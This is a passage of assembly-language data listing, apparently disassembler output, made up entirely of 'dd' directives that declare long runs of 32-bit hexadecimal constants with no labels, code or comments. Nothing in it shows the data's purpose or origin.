		dd 0D8809818h, 7E920E93h, 0B3266FF3h, 3405F82Bh, 0E8C0EBE8h
		dd 19438Ah, 5661FBB6h, 3B3D82D3h, 1A039C92h, 0C7B84403h
		dd 0B5481354h, 52586728h, 30483E52h, 0EA06A349h, 0A7F93797h
		dd 6F23E79h, 51C85618h,	3A00F818h, 9FF76D21h, 805A0Fh
		dd 0BD65352Fh, 60897ACCh, 634CB10Fh, 4FADE26Ah,	984406h
		dd 0FA13E346h, 0A3BD4A1Eh, 0A9127705h, 0AFC053BFh, 459AD4Ch
		dd 6BD57F68h, 2E10F006h, 66108012h, 9659CC8h, 0AB9B7A0h
		dd 693E10CEh, 0EFDF0FECh, 0DCC072B7h, 83E9F24Dh, 68E0FFC3h
		dd 0C700D03Ch, 3D955FF7h, 7D9B59BDh, 94AA2701h,	34440C14h
		dd 7113135Fh, 14B0418Ch, 70D904F5h, 39146542h, 8CD15h
		dd 0C05ED8DDh, 621070h,	2EFA034h, 1692808Ah, 4360FA03h
		dd 0F7A97DC7h, 3DC9CEF0h, 0DC8F0012h, 4F6DBD73h, 0FA0396EEh
		dd 77ED1ADBh, 6A900065h, 605C4722h, 8D00BEF8h, 0EA3ACC3Ch
		dd 85EB08h, 0E77002C2h,	488097B1h, 91B5A000h, 5363D89Ah
		dd 99BA0246h, 76941840h, 65D43860h, 0A6449F03h,	987C89Bh
		dd 4FDE4730h, 71C4103h,	91D576F8h, 11C2C600h, 0EC14A2D0h
		dd 0BE8C3FE4h, 92A0CF80h, 0FF02C80Eh, 0E8A65400h, 0D175CB77h
		dd 9D7F0008h, 0E70EC057h, 0F426F086h, 4F00DCCEh, 0D6EEAA3Ah
		dd 2498D1h, 94F179D0h, 47DEA080h, 0C676CD00h, 64AD7B08h
		dd 0F0D000B0h, 0E2D1E9B5h, 4F01409Fh, 0EBE78AD8h, 0CAC4796Ah
		dd 2F7DE206h, 0EC979486h, 107C8D2Dh, 12FA040Bh,	0B0A08A43h
		dd 9C18EA6Bh, 0FD9D08B8h, 51103C04h, 88C5CCE1h,	1216B311h
		dd 751482F1h, 212F2452h, 5111721h, 63BF11FEh, 85102B12h
		dd 41D98915h, 12660328h, 0E9F1017h, 6F082D89h, 44736A44h
		dd 0C44B587h, 7214A041h, 95F895Eh, 29904D21h, 751B8415h
		dd 86475B48h, 84699078h, 0C7487783h, 9040684Eh,	44B1887Dh
		dd 3EB821A3h, 0D9105112h, 88F897Ah, 6512F9BEh, 0F363EC23h
		dd 0BBE0CFA6h, 0CC3BC9h, 0A41ED6B8h, 506EE50h, 790F8600h
		dd 55323EE1h, 4B2500E7h, 606F406Ch, 5B074C80h, 3B1A0E7Ah
		dd 0DBC38B40h, 41110BD8h, 58E85A2Ch, 6700AD2Dh,	0AE9AF4E5h
		dd 8E01A5h, 0B087D12Eh,	0C932823Ch, 0AB6EDF04h,	0C0C07B5Ch
		dd 1E6AF869h, 0AC87027Fh, 8A4080C4h, 95B1A9B6h,	24E2FD01h
		dd 2D2C5319h, 74BA60DEh, 694F01CBh, 0C87D29F6h,	0D54C2472h
		dd 87CAE43Ah, 8EA26C4Eh, 23879430h, 0B46430A0h,	97EE2578h
		dd 9310431Eh, 62E51A40h, 0F167603h, 25F12A4Fh, 0A8CEEAh
		dd 0ABAD3610h, 1B00381Ch, 3AE740FEh, 2423357Ah,	0E48A893h
		dd 0FFAFC2F3h, 0A19EC063h, 2791CC98h, 60FD5506h, 5399DEB6h
		dd 0A201902Fh, 7EF0986Ah, 0B34ED82Bh, 80695A00h, 48282C7Dh
		dd 3AE43Bh, 1BEFD864h, 0C5EBA099h, 90FAB000h, 5AFE1CB8h
		dd 65AA1FF4h, 0C13009Ch, 0F7FB50A2h, 8C0C8D4Bh,	28811895h
		dd 7D2353Bh, 3E313805h,	0C11010DFh, 430756FBh, 17CCEE04h
		dd 0C46EE050h, 9E730057h, 539921F8h, 83007EA5h,	51F19BFCh
		dd 54B482h, 1D17EC84h, 395C7C78h, 60DF3Dh, 0AA5F71D5h
		dd 0B846166Dh, 56020048h, 75A30845h, 0C104A667h, 58AC19DBh
		dd 2AA819C0h, 6FAD00AEh
		dd 35744017h, 0FA3CB376h, 98A32853h, 27836500h,	429CB071h
		dd 0B7950E56h, 0CBE06CDBh, 0E703C4F3h, 0E6938802h, 80F21DBEh
		dd 720D8088h, 0DB69000Bh, 39512429h, 4D054A3Ch,	8687998Ah
		dd 0E616E0C5h, 90C34900h, 122F58B2h, 0CEA2A7h, 0CC887335h
		dd 622F898Dh, 1D209029h, 0E17370h, 1CA8B804h, 512E3CF1h
		dd 34B73B00h, 0DA1FD182h, 0A2330011h, 1DFEABC8h, 6A75DB0Eh
		dd 8C90EE02h, 41D4EC9Ah, 0BC606D58h, 0C054940h,	3AF2F300h
		dd 0EEC2E9ADh, 74B52F03h, 0EB6AF7A6h, 0BF4FC024h, 877805CCh
		dd 0C04DB35Eh, 290E6E8Ch, 0B707DCB8h, 0BC8D3B93h, 2CCCF50h
		dd 954500D0h, 0C7B3ADAFh, 0B6009974h, 0BA9C7616h, 24497578h
		dd 84B592h, 54B74D3Bh, 0D9003DE2h, 0CF417E5Dh, 3C017770h
		dd 6F8775A4h, 40CAAAC5h, 0F1AC5563h, 17A00C02h,	58854BA9h
		dd 8AE21060h, 44248094h, 703167h, 0F8158462h, 3FC96473h
		dd 60267217h, 0A90A301Eh, 90008456h, 0FBF744ADh, 0D01D1CA8h
		dd 0E23800E0h, 3F0CFA4Eh, 7F45048h, 62CDA623h, 8844BF50h
		dd 1F55004Ah, 8368AAB2h, 0E51FF7A3h, 9EC0E0C6h,	0CCCDB543h
		dd 8021976Bh, 3DD4915Eh, 7C2804A4h, 0C4E0A5A9h,	455012Fh
		dd 3D384248h, 0C8689Ch,	61372D1Bh, 32E7B78h, 7043C423h
		dd 21008652h, 3402E211h, 1EDE5DAh, 45CD5A8Dh, 80C0BE79h
		dd 0F784459h, 7D153D4Eh, 906FF22Ch, 0F19A0020h,	9B69D6E2h
		dd 0F90034B2h, 0D332BA8Bh, 1297DAh, 4D47FFF3h, 3DC10EB6h
		dd 87AA5707h, 85D078EEh, 3735556h, 537C9FCCh, 0D6009AFFh
		dd 0D3D6AAFh, 39F9A0C5h, 74BE219Ch, 0A7E1C00h, 0B8D8DAE4h
		dd 0FF366D00h, 0AADD6F7Fh, 5D2000F1h, 173C18AFh, 2E9747C7h
		dd 9530E318h, 1A7D8084h, 15741C03h, 7B8443Eh, 0BC00F34Bh
		dd 58588618h, 1F991FBCh, 1A95F3C1h, 50305DA5h, 0DE762Ah
		dd 2F4DC23Eh, 1EF06F25h, 0ACCE0E24h, 477F8C00h,	32C055Bh
		dd 17CDF6C3h, 661E72F1h, 2D830161h, 0D0E27896h,	70144Ch
		dd 8386AAE7h, 60DC425Fh, 0EE73C826h, 0ECFD8F00h, 14385Bh
		dd 9B31DE63h, 951E9FB0h, 0DCC80A07h, 7A305CA2h,	0B33EE7h
		dd 527FEE3Dh, 0EC574847h, 0F6A0C478h, 87900484h, 2ADC7B00h
		dd 23FAA040h, 0B5D903C7h, 0C1F6E2F2h, 0D082ED80h, 43784B00h
		dd 0DDFD620h, 8E3705BAh, 8225E1D7h, 0B8E0D141h,	948838Ch
		dd 9C5E0208h, 406BDBA9h, 0C43EEFh, 0A526CEB0h, 0C119EF65h
		dd 0B511DE00h, 4C2B4606h, 410E09E0h, 8420EC60h,	0AB9A1B3Ah
		dd 0E0DFA32Ch, 0BA0C2104h, 0B01E005Dh, 68ABEC4Ch, 2AB6760Eh
		dd 81A9A4A4h, 0E603C4BCh, 71BA3511h, 22161100h,	265C2B3Ah
		dd 5749089h, 0CD0E08CCh, 4AEC807Fh, 3918FFFEh, 681CB7E4h
		dd 11E30587h, 513D63h, 64DFA5D0h, 0C4A077C4h, 0D605709Ch
		dd 0A9B216EBh, 7150A981h, 3D6A8030h, 7E815322h,	948C021Ah
		dd 49B6D8A0h, 73293B07h, 9A10984Bh, 0E584753Eh,	4EF0DC61h
		dd 0B20B1FECh, 0E2F040C5h, 0DD047041h, 2FFF0A07h, 0F5E0BF7Eh
		dd 259FAD8h, 6BE0C1CAh,	62409E0Fh, 527D2742h, 0CB805500h
		dd 88D040BCh, 0E52E008Ah, 6BD235F1h, 98C0E39Ch,	11A03366h
		dd 48720274h, 9DD82E7Ah, 0CF317860h, 1918E500h,	846FBD46h
		dd 48D61E21h, 5AB04369h, 0B7D07257h, 0BB004BC7h, 0EA661D9Bh
		dd 26BD36ECh, 0D4020Fh,	9AE0E239h, 5E134F4Bh, 7800E33Fh
		dd 61551CBBh, 0F820269Ch, 97F9C50h, 0D4C05DEFh,	990C2FDCh
		dd 8CACABD4h, 747769h, 0EC6B7733h, 181D393Ah, 107D4D02h
		dd 4023B21Ch, 3D3EF6BCh, 9F80AE94h, 7C558C50h, 9600BC64h
		dd 6E0B7784h, 704C909h,	223B69E2h, 0A49C103Ch, 280AF344h
		dd 0C7DF6DF5h, 6A248124h, 272FBA00h, 0F3905E3h,	99B322ACh
		dd 0E7089BC0h, 0EA0196EDh, 4A8C14D7h, 12C8E576h, 9073C1h
		dd 0CAAC4C5Fh, 1FBC8B78h, 970AC900h, 0AB07E8F7h, 0E65B1328h
		dd 87F303CBh, 0BC985461h, 0FF00AE02h, 0F2D8431Dh, 3A96672h
		dd 0C2FB9062h, 65B8B061h, 0BB00A30Eh, 0F421737Bh, 0B995D5Ch
		dd 9E574DF0h, 0C3A5CC00h, 0EF02B0E7h, 0D49602DCh, 91454F7h
		dd 0EC03B30Bh, 26D84827h, 32045DFFh, 4CC0351Bh,	1A0014A8h
		dd 789163EAh, 0D0589FCh, 0A2C7594Ah, 9EB240C0h,	8020B429h
		dd 0EA6D7121h, 39501B38h, 0E501DFC4h, 84D98C68h, 44C8CB36h
		dd 49FA01E0h, 4FD318B1h, 982893h, 5CC4814h, 0E31610h, 53242B0Ch
		dd 0E9888C01h, 4703617Bh, 65E03679h, 9988003h, 5DED0115h
		dd 7F678B34h, 9622D0E9h, 0C6D82A2Eh, 92E22D00h,	3EB8038Eh
		dd 0B281F8A9h, 2C1205A1h, 0D71D4CBh, 0C0AA3Bh, 859F077Fh
		dd 0F5B7DEF6h, 0E7F0C0h, 3BD0A365h, 6970A283h, 91A77800h
		dd 0C4CF79DEh, 0DFA02897h, 770700A0h, 0A3295545h, 6324C910h
		dd 9D024E9Ch, 61A479CAh, 87614847h, 0CC6830h, 0DE2B94E4h
		dd 3308EDD2h, 3FD84400h, 66D19A17h, 48B30070h, 22C9468Ch
		dd 6401A6B6h, 0D9D3D00Fh, 9420F4BAh, 0F9A9123Fh, 0F770A0CCh
		dd 4E28913Dh, 0D1B04C0h, 61000ABh, 2229A502h, 6E0BE304h
		dd 0E8BDA7CBh, 3881261Ch, 6B00AE05h, 76DA1C8Fh,	615052BBh
		dd 0C816C4B8h, 64124B20h, 0C97493h, 0BE650A11h,	9FB3D4B2h
		dd 0AD70BD00h, 0F3302AE7h, 203A1394h, 1140033Fh, 13F08DE6h
		dd 76007DFBh, 6375E76Ah, 3D332Bh, 0C7B03CA4h, 0AB8406E5h
		dd 8B8F1C07h, 67B3018Ah, 6AA8F081h, 92F009FEh, 10A03C60h
		dd 498968BEh, 3FA65912h, 3ECB1000h, 54FD9Fh, 0C2451A40h
		dd 0A9B7A398h, 30C9F400h, 3B474A22h, 0E09B07B8h, 0B01C60E1h
		dd 32D70234h, 22C2E500h, 47AA54B0h, 0FCCF0091h,	254921A2h
		dd 645CBC57h, 3584009Ch, 6315DA24h, 0E3791EA6h,	382AC199h
		dd 7037E076h, 0B490A976h, 237F5100h, 36A0B475h,	0A3C12582h
		dd 24C7D461h, 439E2C0h,	19CA8798h, 840056F6h, 176E09h
		dd 3025E76Dh, 3E404555h, 95864904h, 0B480A483h,	9F566206h
		dd 501D98A2h, 5EDA10C0h, 9EF05954h, 11FE7B00h, 66E92B9Dh
		dd 0CAB70A52h, 782922h,	7F99D23Bh, 0BB3B61C6h, 0E8C5008Eh
		dd 0FECF59FDh, 27ED036Dh, 0D037C45Ah, 40329AB8h, 80C99EF2h
		dd 3AF0039Bh, 3811071Dh, 83FADCDEh, 0CFF8FC39h,	0FDB8A205h
		dd 81D92A39h, 0F80899Eh, 0B03C3F1Bh, 2949A1Dh, 0AA9DBB3h
		dd 8F027050h, 13EC5AADh, 0C938E95Bh, 0F2B0F434h, 2D463039h
		dd 0A724E11h, 6EE7303h,	0D0CAF708h, 37EBC9Ch, 3B28A9B3h
		dd 6800F9E3h, 0A2D45C64h, 87FFDBh, 0F8C5014Dh, 30554C2Ch
		dd 0BA0010BCh, 857A94E6h, 0BD480011h, 0C190F666h, 137BC584h
		dd 0F2E66201h, 7F6CD334h, 4C513870h, 35176832h,	369209E8h
		dd 4A0174D8h, 12E113AEh, 0F2C07A92h, 10731Ch, 0DFB6B7D0h
		dd 8FF8646Eh, 8B154400h, 0BC93CD3Ah, 14F01366h,	0EC70B106h
		dd 0D02442Ah, 9FBD09E1h, 0B24CC0B6h, 1D9FCACh, 697C1811h
		dd 70254586h, 4E00E5C1h, 57ADE1D1h, 7DA16Eh, 4C11E4Bh
		dd 5076F84h, 940068F0h,	0F8C9D696h, 90CE90B8h, 0B78100A4h
		dd 991459AEh, 855CF7DEh, 36FF0058h, 0E77DCA6h, 6F4902A5h
		dd 8104F9F8h, 26A90F40h, 71104658h, 96796C02h, 0C04D20E1h
		dd 2D1CBCh, 5DEADCBCh, 0F98B7C83h, 0EB860F01h, 65F2AB60h
		dd 3258E8h, 29AC2E17h, 506C46EFh, 2D7EFF1Dh, 0FD16E080h
		dd 0C33C1Dh, 9C2B7999h,	0EB7056C2h, 482FED01h, 57D87866h
		dd 2E9FDB20h
		dd 1743FBCh, 0C5D410D9h, 3BE4E4C2h, 0CDBF0E01h,	391920B7h
		dd 6AA4413Fh, 0CCC3D074h, 7E60F482h, 13A87598h,	50392648h
		dd 1740005Fh, 0EA714D21h, 0F316251Ch, 0D1631340h, 7DD6A06h
		dd 0D034C358h, 0FF9DA066h, 0FE287049h, 6700CCF8h, 0C1B6DF16h
		dd 27CE2Bh, 0F9261A7h, 6C14317Bh, 5274FC26h, 77C2A800h
		dd 0EE38F571h, 0E26A0056h, 0B4CF25E4h, 7C48930Bh, 5CF3071Ch
		dd 9FF0BDA0h, 334D4C1h,	0E29C97FDh, 2DB22312h, 7D19C47Eh
		dd 0DC70CCE0h, 51330341h, 0E727F40h, 0D983368Bh, 78603A8Ah
		dd 0DF0E15D0h, 60A5F51Ch, 0E7C4772Fh, 0D7850BAFh, 1502BB50h
		dd 5F416340h, 3642D3Bh,	87654819h, 1CFAAD2Eh, 866747B7h
		dd 0D522A02Ah, 0D00058BBh, 4682C91Ah, 0E09F9614h, 65D302E1h
		dd 0BAD4D918h, 56A424C8h, 5746D00h, 0E6693BB4h,	0B34700C9h
		dd 3923156Eh, 0CA3AA071h, 7D03098Eh, 0E71F00F8h, 0D692F22Bh
		dd 3D210080h, 16B89F14h, 0CABCE900h, 6EC94A8Dh,	71B33DA9h
		dd 1896C380h, 0A6268868h, 22010EFAh, 412E97E9h,	0E4C0EA6Bh
		dd 0BA8D006Fh, 9CC6C5CAh, 0B40EAA03h, 63BC795Bh, 4EA5A9C1h
		dd 6E108099h, 130006BEh, 430E1EFDh, 0FBD864h, 0DCD042F4h
		dd 3D56BD5Bh, 1D5E3703h, 89E136D4h, 57C44A99h, 3A670932h
		dd 77123Fh, 0D36DCD23h,	0B6BD00BAh, 9769A12Ah, 671D9C02h
		dd 0DC0ADACh, 0CAEA03A0h, 5038C066h, 6579E5EDh,	0FAB14B1Eh
		dd 80BFF80Eh, 2084D15h,	63100087h, 78905317h, 60BCAF33h
		dd 3B58CA04h, 0E80CC4C3h, 48B037Dh, 1396CBE5h, 78A4A0CFh
		dd 0C8003DB0h, 0E2293BEEh, 13A0CB1Dh, 40D2A39Eh, 490D1C9Ch
		dd 241C4060h, 6E44CC34h, 98A44C85h, 25EF008Dh, 7D9FA288h
		dd 0A100F5B0h, 0C7AC0568h, 0EA72CB8h, 0AFC5F363h, 0CE284C4Ch
		dd 0F8707807h, 49C009D4h, 0CB3F33h, 0FBE24E5Ch,	0C274B63Bh
		dd 68009C71h, 0C0BC8145h, 0CAEB18h, 0BA96380Eh,	6717B764h
		dd 0FD65D500h, 0DF47552Ch, 97760F34h, 0D1C0CE2Ah, 4BC295E3h
		dd 0D0677900h, 0A04C787h, 0AEE600E1h, 0FBF24664h, 9D0081F9h
		dd 96EBEEB7h, 0AC4020h,	8ADC5CC4h, 1DB89C7Eh, 16DE761Eh
		dd 5F4C2027h, 45A79Dh, 854DBEDCh, 531BFF23h, 3E5868B0h
		dd 6AE51785h, 0CA47D820h, 63B70021h, 0B89D1864h, 0CF3D717Ah
		dd 40D05B9Ah, 4EB40C9h,	55AB407h, 0E15480EEh, 0AA172543h
		dd 0B0003081h, 0FF26DEE6h, 0DC5850DAh, 0E4900721h, 283C2AFCh
		dd 0D7A8B300h, 1C3C13Fh, 5F9D33D1h, 2E8BE791h, 89C1EC27h
		dd 45608072h, 7769004Fh, 0F5D15A2h, 6C78DDDBh, 0C72F8E17h
		dd 0EF564A0h, 0FFC0F7D3h, 0E4A592C0h, 0FC00AB07h, 0D4C31C2Bh
		dd 0F6583713h, 4D0F0316h, 0B0454B42h, 995BE2F0h, 73DA2A03h
		dd 0B8EC8901h, 2E493A1Dh, 14A038h, 0EF9AEA2h, 874BC79Eh
		dd 0B70D2480h, 0A3FD03F2h, 6B535E15h, 73407CEAh, 562CB631h
		dd 3F009CC1h, 0D31E2F40h, 9C69074Eh, 0F5FBD96Fh, 3DD4BC44h
		dd 98BB0019h, 0F659BE81h, 0D0312E52h, 0C0221FE0h, 0C2019637h
		dd 0E00B76Dh, 8652C71h,	13D79061h, 80C092B5h, 6DA9AF80h
		dd 94ECDB00h, 76A26073h, 1E40BF3Fh, 3000418Bh, 8EB825A7h
		dd 1FB9838h, 408506E9h,	20D80213h, 0EB00E034h, 823CD19Fh
		dd 4B8DEA09h, 100C0089h, 525D0A83h, 0B91F5EECh,	79C159C9h
		dd 1E770433h, 26F3CC40h, 0BABD3080h, 977BA911h,	48DFC200h
		dd 0C9366602h, 63D726F7h, 0B09800FAh, 0EEFDE344h, 0EA9B900Bh
		dd 6CA04807h, 0ADCE0983h, 400F8E12h, 6AF8A760h,	72B08CFBh
		dd 4B293803h, 0A1A49AC9h, 1F701B87h, 0B4B9078Fh, 100D955Eh
		dd 668B0588h, 9FC50602h, 80D0A7F3h, 855E67B0h, 61AC0073h
		dd 6A056677h, 0C803AEB2h, 76524F87h, 1D9286A9h,	0F851DAh
		dd 1964A6B0h, 4A004D43h, 83CBB98Bh, 250970h, 66D2BB01h
		dd 573C24E8h, 52278600h, 91A3AAF0h, 48F90EBEh, 7C204C25h
		dd 1C80B04Eh, 959E21C1h, 49B87FDFh, 50984F81h, 80533C61h
		dd 7368BE20h, 7AF922D4h, 0AD5F07E8h, 6075E960h,	30019D95h
		dd 0A54C73F8h, 7ACD0078h, 69BCB489h, 0AFC30098h, 949C714Ch
		dd 0EE003BC4h, 3589E02h, 72FC7D4h, 5701EA27h, 3BF99040h
		dd 0D2009916h, 3EB57665h, 2A43E0h, 9EBFEB8Bh, 7309790Fh
		dd 3800254Ah, 0D5C2232Ch, 0DFC30F70h, 1818AF0Dh, 1241A2Bh
		dd 7808C5Eh, 0F993CCADh, 0BC8A0059h, 1DE0AEE8h,	0A407AC08h
		dd 9149AB18h, 0F77B6DF1h, 6028E080h, 0AA146E10h, 21BDE3Ah
		dd 7724191Fh, 20CCF0A4h, 3C01657Ah, 5C9CC4E4h, 0FF01DBh
		dd 0B140E681h, 68693560h, 47264300h, 10E7219Fh,	0D62B00C7h
		dd 0C69CF3ECh, 5600B4C2h, 371E8B5Dh, 0E4F2CBh, 2ED69DC5h
		dd 0D11ADC3Dh, 9EABFA12h, 0CE7DD880h, 0B5C10079h, 0D47A90BAh
		dd 0B27A0555h, 9BCFE41Eh, 0C5C0C807h, 0E8BFE653h, 2A0436Fh
		dd 63D03629h, 28F87D94h, 78681169h, 0D16C0078h,	56AB4C2Ch
		dd 0D605CC04h, 6BEA7CFCh, 98E3A040h, 37D3DB70h,	90891222h
		dd 0F3EA1B83h, 0C4C83F00h, 0ADCC1A14h, 0BE61C08Fh, 9FB1C942h
		dd 9B3EA0Eh, 5BD22036h,	0BCDC7A2Ch, 11190080h, 12684291h
		dd 7087070Ch, 5889BDh, 8D2D006h, 4D7925FBh, 360801BFh
		dd 6848446Ch, 8088866Dh, 0E8008DD1h, 0C7D0C1B4h, 306130BFh
		dd 0DFB9A5AEh, 0C2005CDEh, 11CC4B88h, 0D157DCh,	9E41CE9Ch
		dd 0F8936A1h, 7096D6FEh, 79CD0587h, 59AF6090h, 0AC9D166Ch
		dd 3B11000Eh, 0A583A81Ah, 0B57CD805h, 1CD0C701h, 29403553h
		dd 1C785DD4h, 56438016h, 0FFDF49F0h, 75D83F01h,	90640508h
		dd 47B3A8DBh, 0C9680038h, 2B56ADA6h, 8A18DB13h,	5CE4CA0Fh
		dd 0E0E20134h, 2446B4Ch, 0D8822A2Eh, 9E10F454h,	183C014Ah
		dd 0C8535162h, 0C002080h, 41EFD4E6h, 1C6EE3h, 0CE0E4B30h
		dd 0DE54B74Ch, 59D53100h, 6AEC5291h, 0E6420036h, 47464A56h
		dd 2D003057h, 3911CE1Dh, 7D05DEE8h, 9FC91E16h, 31020068h
		dd 3037F0C4h, 12278E02h, 0A1B4FBDBh, 0DEFEFF84h, 8FD49475h
		dd 409A12EDh, 0D52C4012h, 0FE5FBD1h, 6C6D922Eh,	7153A01h
		dd 4198D967h, 36E8D8AEh, 0A4E02654h, 3E1771Dh, 90809781h
		dd 0DD70A2BDh, 1E601F47h, 51D83F2h, 0F7A0A5AFh,	8500FF55h
		dd 0BA636E0Fh, 5F70D0h,	0ECF97695h, 0FEE67E17h,	664B1600h
		dd 0E4948839h, 0EFFF1D52h, 33F1402Ch, 0F57B07D4h, 61120D00h
		dd 0E05CDD37h, 0AE910763h, 20CAB9C6h, 0FA52A221h, 0A90E8C96h
		dd 0EB3FA0BFh, 985AEB3h, 0E980FEB8h, 7004AC87h,	197DCACFh
		dd 5400F17Bh, 0B5709995h, 33AC48h, 1E75D9Bh, 3F18D285h
		dd 0D7677500h, 1A50B578h, 0DB403DFEh, 0F91FFD07h, 0CF13F061h
		dd 809056BFh, 3917E27Ah, 34B006B2h, 0EDE3002Fh,	83F5A95h
		dd 140040ECh, 2663DC97h, 0E6FA3D24h, 0C52E008Dh, 9F287C77h
		dd 0BAEA6251h, 0A9606502h, 0E323ED2Dh, 0AB53899Ch, 2A3CB87Dh
		dd 0ACF90293h, 376200ABh, 0C59E401Fh, 3E52C13h,	0B98A00D4h
		dd 0AD97B3B6h, 0F00B4401h, 43273099h, 0A18ED4h,	10E487E3h
		dd 6B747EFAh, 0D3C0A003h, 0FBD3E21h, 0DA8CE748h, 0BF90CF20h
		dd 51001A98h, 0A4F47E7Fh, 0C4849Ch, 0D499127Ah,	74E12A1Eh
		dd 20187949h, 0F64C0488h, 0A8BFDF0Ch, 7C405574h, 0EE80474h
		dd 1482722Ch, 1D8F8DBh,	0B49C64E9h, 0FC75777Eh,	1613A0DDh
		dd 2CF08786h, 102EA26h,	32039EC0h, 0AC96F627h, 2E005711h
		dd 3C94B92Ah, 7021FA9Ch
		dd 0E2EF0735h, 0F75BC7FEh, 0D4C42175h, 0CB91C817h, 999F9500h
		dd 1BA49CB6h, 9A2C00EEh, 8065AADEh, 5E00AB82h, 3E58C3EAh
		dd 44A06FDh, 7B49213h, 939C883Dh, 0D7810805h, 38948E05h
		dd 62D9B501h, 0C730CDFDh, 7B9B00D1h, 0A51D4D15h, 6E03CF2Dh
		dd 0ECB99F6Dh, 0DC70E10Ch, 28FAA860h, 0EC3F1Dh,	0DB5FC633h
		dd 1AA695F1h, 6BDE6A01h, 0FF5437A8h, 0F98003Bh,	0D0D204CEh
		dd 758E53Ah, 0CCC22FBBh, 0B5AF18D0h, 2B232C5Eh,	16910588h
		dd 55BC41D2h, 666C8D07h, 139CC090h, 94944A50h, 0DACCC168h
		dd 30FC2449h, 66FCDB00h, 0F1B23F6h, 7FB500C3h, 122A445Eh
		dd 2B2402E4h, 4C26976Ch, 0DEAEE100h, 0CC9361h, 6976A33Dh
		dd 2E286BCEh, 0D10E6431h, 788B1488h, 0FC411E4Bh, 53406483h
		dd 1D9F720Dh, 1FC0B188h, 6359818Bh, 52021344h, 70C1F834h
		dd 0F9F81BF4h, 0F43DE09Eh, 6DE9024Eh, 76A5F60Ch, 985C0FBh
		dd 0C11BE7E5h, 0A7E081F1h, 957BF830h, 2E01C4C8h, 327F5501h
		dd 0B81566CAh, 202C3468h, 0E431E0C8h, 6CB044EEh, 0CB725600h
		dd 3E45A79Eh, 145E0310h, 0B9EBDC2Ah, 362FB116h,	3053502Ch
		dd 57818149h, 4E05776Fh, 862B36DEh, 33048440h, 95AE56DFh
		dd 647598E9h, 0DB1C5BBCh, 0CC3E73Fh, 7041D1C5h,	20B7999h
		dd 7630985Dh, 0A8C42D48h, 73A1E900h, 0E31DB02Ch, 299B126Ah
		dd 2D16AC02h, 5BC88113h, 64207CA4h, 1C4460D9h, 92BCEBC3h
		dd 0B6D6BB1Dh, 4C8C00F9h, 65E63369h, 119F60B3h,	7A5E5B7Bh
		dd 0BB9E3Bh, 3447F61Ch,	0B088C6h, 905F5CBEh, 6F72F3FCh
		dd 48FF9F1Ah, 3251C1A8h, 2460870h, 2D2F1FFBh, 0E470DB9Bh
		dd 383D4B19h, 43C017D9h, 0A7C82FB9h, 6C299CC0h,	87D57500h
		dd 4E7C2285h, 5A7A3A4Fh, 61DD4284h, 50B86Eh, 5EB39167h
		dd 34B976h, 63A11FB8h, 0FD82E7F1h, 4E0A4D0Bh, 26B84017h
		dd 0C7C039A9h, 56C89900h, 0B420EFEDh, 69428E00h, 3AECA1F1h
		dd 38D00E4h, 7808FA13h,	1BFC4F93h, 0E7064900h, 358F11D9h
		dd 0AF3D03D3h, 0C2DDCEC9h, 5CB97098h, 0FC000BFAh, 50A02EAEh
		dd 646C48h, 6AE05BC4h, 310313AFh, 3E079598h, 0BCAC6BC1h
		dd 7C5FD3B0h, 63591282h, 0D140B00Fh, 81F06A38h,	92352AA3h
		dd 0C6406FF2h, 1C3460DEh, 0C394DB36h, 0BDB2DD20h, 4BA11C80h
		dd 7B08021Ch, 0D5517440h, 13461215h, 0C59277h, 55798AD0h
		dd 0FF00B368h, 0C6D120A9h, 0EDBE3ECh, 45BF95B2h, 17BBBE63h
		dd 0ABA03900h, 0A216DC5Fh, 826102EBh, 5B4FFC22h, 49925440h
		dd 6400249Eh, 0B3A00D67h, 867A7Dh, 0F05C178Fh, 0F34D26A4h
		dd 0AC93B600h, 9DFCF449h, 0C1C75A54h, 0D4D1E148h, 0F01F350Ah
		dd 27963E38h, 0E31A9007h, 0C0415923h, 0F79F542h, 8BC69894h
		dd 20481E47h, 40299AF3h, 0CF997A03h, 0D0028687h, 71A466E6h
		dd 0D6A0FA8h, 0F65FB3h,	195EE589h, 0B8C0167Bh, 86113B5h
		dd 0A48C00EBh, 1E726B54h, 0CD0F4D60h, 6952DC38h, 3AE023BAh
		dd 326B9012h, 0A86E5C30h, 0BC1CF512h, 2F0201A4h, 44C092B9h
		dd 20D8002Ah, 0C89E8FA7h, 145B8624h, 0F1B60E00h, 0BB4B12Ch
		dd 1A747FE4h, 71E1688Eh, 0F5AFC59Bh, 0DA5C60F7h, 0BE26E7FCh
		dd 3900147Ah, 0D10F931Ch, 3A7D7B7Fh, 6393C2D5h,	0E474014Fh
		dd 0CFB88A77h, 14BB1101h, 4E9F4447h, 0E8340800h, 1B0074F8h
		dd 0AE4F262Fh, 981DE05Fh, 9F380048h, 0DF72E527h, 0E8000860h
		dd 0C1AF8487h, 713B1C96h, 0F6E20095h, 0C76E5035h, 0CD024691h
		dd 0AE85C46Ah, 0ECF8800Bh, 373565h, 40E8F41h, 782E9CAFh
		dd 38E3D72Eh, 30465E00h, 2C07ECCh, 0D050CBA1h, 0BC807A0Dh
		dd 679C89DEh, 979A98h, 3B8EF264h, 69AD00A9h, 2DBAB00Eh
		dd 5192C90h, 0C5F0BF9Dh, 9765DD4h, 85617237h, 0A959A300h
		dd 0C3FA786Bh, 0B9CABB13h, 53892440h, 993BA52h,	544CC594h
		dd 107ED8B1h, 0EC6A67A8h, 581DEC52h, 0C5025C2Dh, 2A88664Fh
		dd 3415BFE1h, 0B70F8DC0h, 60EB4E47h, 4A1A7358h,	2C352657h
		dd 0E2AD01E0h, 0E15A4CFBh, 0BC80BCDAh, 51EC0060h, 95AFF91Ch
		dd 189F7541h, 0F061DAFEh, 0BDB8EF5Dh, 80B17D78h, 1E749D00h
		dd 0C9E2980h, 6D53CFC4h, 6B00DF5Eh, 0C519698Dh,	31168Ch
		dd 253F618Fh, 0BD01CD35h, 2FFCD1C1h, 5C24DA85h,	0BB4D2A1Eh
		dd 513E0288h, 0B968E18Bh, 3C807642h, 0FB5F8158h, 1860C2F6h
		dd 6E647C8h, 5237349h, 8C0F3442h, 93D04254h, 34C808B4h
		dd 317866Fh, 6173A2h, 0F1293F9h, 0E680A0D3h, 6F80E289h
		dd 1DDB0167h, 6EB2833h,	0B6076AFh, 7670B1Ch, 609F76E8h
		dd 0CE3F75CDh, 0B024ECAh, 901C7F84h, 0EE1DD02h,	2047CB9Fh
		dd 51A9F70Ah, 81CDB70Ch, 3884Ah, 29E2C4B9h, 60E78A5Dh
		dd 0A2C01CB9h, 7F179CCh, 6FCE29EBh, 54727995h, 50315Dh
